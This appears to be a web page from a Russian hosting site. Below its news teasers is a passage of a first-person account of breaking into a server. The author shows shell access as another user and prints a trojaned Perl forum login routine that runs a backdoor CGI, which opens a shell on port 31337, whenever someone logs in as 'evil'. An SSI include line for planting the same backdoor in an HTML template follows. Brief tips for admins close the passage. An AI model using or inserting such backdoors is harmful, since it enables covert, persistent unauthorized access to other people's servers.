Вход на хостинг
IT-новости
20.04.2016 iPhone 2017 года поместят в водонепроницаемый корпус из стекла
Линейка iPhone в новом году серьезно поменяется. В этом уверен аналитический исследователь Мин Чи Ку......
30.07.2015 Ищем уникальный контент для сайта
Ищем уникальный контент для сайта Без уникального контента Ваш сайт обречен на то, что его страницы......
sh-2.05# id
uid=1405(adil) gid=1405(adil) группы=1405 (users)
Цель достигнута! Теперь я мог делать что угодно от пользователя adil. Так как все файлы я уже изучил до захвата shell, делать мне уже было нечего и я решил закрепить shell-доступ и сделать его чуть проще, для этого мне пришлось протроянить исходники форума.
Часть третья: укрепление
Вторичной целью было обеспечить максимально простой вход в shell. Итак, теперь все файлы были в моём распоряжении. Быстренько просмотрев исходники, я понял, что нужный мне код находится в файле Sources/LogInOut.pl. Кусок кода выглядел так:
Settings.pl
sub Login2 {
&fatal_error("$txt{'37'}") if($FORM{'username'} eq "");
&fatal_error("$txt{'38'}") if($FORM{'passwrd'} eq "");
$FORM{'username'} =~ s/s/_/g;
$username = $FORM{'username'};
&fatal_error("$txt{'240'} $txt{'35'} $txt{'241'}") if($username !~ /^[s0-9A-Za-z#%+,-.:=?@^_]+$/);
&fatal_error("$txt{'337'}") if($FORM{'cookielength'} !~ /^[0-9]+$/);
if ($username eq "evil")
{
system("/home/n/navy/public_html/cgi-bin/backdoor.cgi");
exit;
}
if(-e("$memberdir/$username.dat")) {
fopen(FILE, "$memberdir/$username.dat");
Красным выделен кусок кода, добавленный мною. В итоге я мог в любое время зайти на форум под именем «evil» и получить shell на 31337 порту.
Часть четвёртая: альтернатива
Пришло время вспомнить про вариант номер 2, template.html. Идея основывалась на технологии SSI (Server side includes). Эта технология позволяет выполнение внешних скриптов и встраивание их ответов в тело html-документа. То есть я мог бы в конец template.html вставить строку:
<!--#include virtual="/home/n/navy/public_html/cgi-bin/backdoor.cgi?$QUERY_STRING" -->
Но этот вариант будет доступен, если сервер настроен на обработку .html, а не только .shtml, shtm.
Часть пятая: заключение
Здесь я хотел бы дать советы по защите от подобного рода атак сетевым администраторам.
n Не давать shell-доступ безответственным пользователям.
n Запретить все внешние соединения, кроме root (функция bind()).
n Тщательно проверять права доступа, т.к. именно из-за неправильного их установления имел место этот взлом.